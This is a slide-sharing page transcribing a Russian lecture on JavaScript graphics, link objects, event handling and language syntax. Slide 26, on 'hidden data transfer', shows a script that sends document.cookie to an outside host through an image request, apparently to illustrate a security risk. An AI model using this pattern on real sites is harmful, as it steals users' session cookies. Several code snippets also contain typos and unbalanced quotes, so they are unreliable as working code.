1 / 27

кандидат технических наук Павел Брониславович Храмцов paul@kiae.su

Учебный курс Введение в JavaScript и CGI Лекция 4 Работа с графикой, гипертекстовые переходы и синтаксис языка. кандидат технических наук Павел Брониславович Храмцов paul@kiae.su. Кэширование изображений. Оптимизация отображения при загрузке

mildredharrell
Download Presentation

кандидат технических наук Павел Брониславович Храмцов paul@kiae.su

An Image/Link below is provided (as is) to download presentation Download Policy: Content on the Website is provided to you AS IS for your information and personal use and may not be sold / licensed / shared on other websites without getting consent from its author. Content is provided to you AS IS for your information and personal use only. Download presentation by click this link. While downloading, if for some reason you are not able to download a presentation, the publisher may have deleted the file from their server. During download, if you can't get a presentation, the file might be deleted by the publisher.

E N D

Presentation Transcript

  1. Учебный курсВведение в JavaScript и CGIЛекция 4 Работа с графикой, гипертекстовые переходы и синтаксис языка кандидат технических наукПавел Брониславович Храмцов paul@kiae.su

  2. Кэширование изображений • Оптимизация отображения при загрузке • Оптимизация отображения за счет предварительной загрузки • Оптимизация отображения за счет нарезки изображения

  3. Графика и таблицы <pre> <a href="javascript:void(0);"><img src=../images/jsi/topm000.gif border=0></a><a href="javascript:void(0);"><img src=../images/jsi/topm001.gif border=0></a>... </pre>

  4. Графика и таблицы <table border=0 cellpadding=0 cellspacing=0 align=center> <tr><td><img src=../images/main/treeup.gif width=20 height=20 border=0></td><td><img src=../images/main/blank.gif width=20 height=20 border=0></td></tr> <tr><td><img src=../images/main/treetc.gif width=20 height=20 border=0></td><td><a href="javascript:void(0);"><img src=../images/jsi/manual.gif border=0 width=20 height=20></a></td></tr> <tr><td><img src=../images/main/treetc.gif width=20 height=20 border=0></td><td><a href="javascript:void(0);"><img src=../images/jsi/desk.gif border=0 width=20 height=20></a></td></tr></table>

  5. Графика и обработка событий <table border=0 cellpadding=0 cellspacing=0 align=center><td><a href="javascript:void(0);" onMouseover="document.e0.src='../images/jsi/arrowdw.gif';return true;" onMouseout="document.e0.src='../images/main/blank.gif';return true;" ><img src=../images/jsi/desk.gif border=0 border=0></a></td></table>

  6. Меню <table border=0 cellpadding=0 cellspacing=0 align=center> <tr><td><img name=e0 src=../images/main/blank.gif width=20 height=10 border=0></td></tr> <tr><td><a href="javascript:void(0);" onMouseover="document.e0.src='../images/jsi/arrowdw.gif';return true;" onMouseout="document.e0.src='../images/main/blank.gif';return true;" ><img src=../images/jsi/desk.gif border=0 border=0></a></td> … </tr> </table>

  7. Меню <td><a href="javascript:void(0);" onMouseover="document.evente.src='../images/jsi/corner.gif';" onMouseout="document.evente.src='../images/jsi/clear.gif';"> <img src=../images/jsi/eventep.gif border=0></a></td> <td><a href="javascript:void(0); onMouseover="document.evente.src='../images/jsi/corner.gif';" onMouseout="document.evente.src='../images/jsi/clear.gif';"> <img name=evente src=../images/main/blank.gif></a></td>

  8. Меню <script>function submenu(a) { if(a==1) { document.menu00.src="../images/jsi/historyb.gif"; // History document.menu01.src="../images/jsi/faceb.gif"; // In face } …</script> <table border=0 cellspacing=0 cellpadding=0 align=center> <tr><td><a href="javascript:void(0);" onMouseover="submenu(1);return true;"><img name=menu00 src=../images/jsi/historyb.gif border=0></a></td> <td><img name=menu01 src=../images/jsi/faceb.gif border=0></td> </tr></table>

  9. Объект URL http://webclass.polyn.kiae.su/classes/homef.htm Значения свойств: href: http://webclass.polyn.kiae.su/classes/homef.htm protocol: http: hostname: webclass.polyn.kiae.su host: webclass.polyn.kiae.su:80 port: 80 pathname: classes/homef.htm search: hash: Обращение к свойству объекта класса URL: имя_объект_класса_URL.свойство Например, так: document.links[0].href document.location.host document.links[2].hash

  10. Массивы <a href= >…</a> <map name=test>…</map> for(i=0;i<document.links.length;i++)document.write(document.links[i].href+"<br>"); links[0]:file:///C:/INTUIT/webclass/pages/classes/jsi/jsid.htmlinks[1]:file:///C:/INTUIT/webclass/pages/classes/jsi/test/larrayt.htmlinks[2]:file:///C:/INTUIT/webclass/pages/classes/fsub.htmlinks[3]:file:///C:/INTUIT/webclass/pages/classes/jsi/href.htmlinks[4]:file:///C:/INTUIT/webclass/pages/classes/jsi/area.htmlinks[5]:javascript:window.alert('Area_Link_1');void(0);links[6]:javascript:window.alert('Area_Link_2');void(0);links[7]:javascript:window.alert('Area_Link_3');void(0);links[8]:javascript:window.alert('Area_Link_4');void(0);

  11. Массив ссылок function line(a){if(a==0){clear();window.document.main.document.o0.src="../images/jsi/fio.gif";window.document.main.document.links[4].href="javascript:window.document.main.document.f1.fi1.value='Иванов И.И.';void(0);";window.document.main.document.o1.src="../images/jsi/rpho.gif";window.document.main.document.links[5].href="javascript:window.document.main.document.f1.fi2.value='123-45-67';void(0);";window.document.main.document.o2.src="../images/jsi/hpho.gif";window.document.main.document.links[6].href="javascript:window.document.main.document.f1.fi3.value='987-65-43';void(0);";} }

  12. Массив ссылок href:--> file:///C:/INTUIT/webclass/pages/classes/jsi/mouse.htmpathname:--> C:/INTUIT/webclass/pages/classes/jsi/mouse.htm Изменим теперь pathname: document.all.next.pathname="kuku";document.write(window.document.all.next.pathname);href:--> file:kukupathname--> kuku

  13. Обработка событий мыши <table border=0 cellspacing=1 cellpadding=0 align=center> <tr> <td> <a href="javascript:void(0);" onMouseover="line2(0);return true;"> <img src=../images/jsi/addrpho.gif border=0></a></td> ... </tr> </table>

  14. Обработка событий мыши <a href="javascript:void(0);" onMouseover="document.tiger.src='../images/jsi/tiger1s.gif';return true;" onMouseout="document.tiger.src='../images/jsi/tiger1g.gif';return true;"> <img name=tiger src=../images/jsi/tiger1g.gif border=0> </a>

  15. Обработка событий мыши <a href=#click onClick="window.alert('No jump to #click');return false;">onClick</a> <a href=#top onClick="return window.confirm('Do you wona to jump?');">перехода</a> <a id=red onClick="window.alert("kuku");return false;"> Нет атрибута href </a> Нет атрибута href. <a href="" id=red onClick="window.alert('URL:'+this.href);return false;"> Нет атрибута href </a>> Нет атрибута href.

  16. Программирование за кадром • типам и структурам данных • операторам языка • функциям пользователя • особенностям размещения кода • возможности исполнения программ в фоновом режиме • управлению фокусом • и вопросам безопасности

  17. Типы и структуры данных • литералы • переменные • массивы • функции • объекты

  18. Литералы • числовой литерал: 10 • числовой литерал: 2.310 • числовой литерал: 2.3e+2 • строковый литерал: 'Это строковый литерал' • строковый литерал: "Это строковый литерал"

  19. Переменные i=10; var i; var i=10; var id = window.open(); var a = new Array();

  20. Переменные wid = window.open("","kuku","width=200,height=100,statusbar"); wid.document.open(); wid.document.write("<html><head>"); wid.document.write("<script>var t;</script>"); wid.document.write("</head><body>"); wid.document.write("<center>Новое окно<br>"); wid.document.write("<form>"); wid.document.write("<input type=button value='Закрыть окно' onClick=window.close();></form>"); wid.document.write("</center></body<>/html>"); wid.document.close(); ... <a href="javascript:wid.t=window.prompt("Type new status value:");wid.defaultStatus=t;wid.focus();void(0);>...</a>

  21. Массивы a = new Array();b = new Array(10);c = new Array(10,"Это значение"); <script>c = new Array(30,"Это значение");</script><form><input size=& {c[0];};value=& {c[1];}; onFocus="this.blur();"></form>

  22. Функции function f_name(arg1,arg2,...){/* function body */} document.write("Тип переменной f_name:"+typeof(f_name); Тип переменной f_name:function

  23. Функция - объект function Rectangle(a,b,c,d){this.x0 = a;this.y0 = b;this.x1 = c;this.y1 = d;this.area = new Function("return Math.abs(this.x0-this.x1)*Math.abs(this.y0-this.y1)");this.perimeter = new Function("return (Math.abs(this.x0-this.x1)+Math.abs(this.y0-this.y1))*2");}c = new Rectangle(0,0,100,100);document.write(c.area()); Результат исполнения: 10000

  24. Прототипы String.prototype.out = new Function("a","a.write(this)"); ... "Привет дуралеи".out(document); Привет дуралеи

  25. Операторы var {...} if while for for ... in break continue return

  26. Скрытая передача данных <frameset cols="100%,*"><frame name=left src=hcfl.htm><frame name=right src=hcfl.htm></frameset> <script language=JavaScript src="../css/jsc.pgm"> s = "http://domain.ru/cgi-bin/image_script?"+document.cookie;document.x.src= s;

  27. JavaScript: безопасность

More Related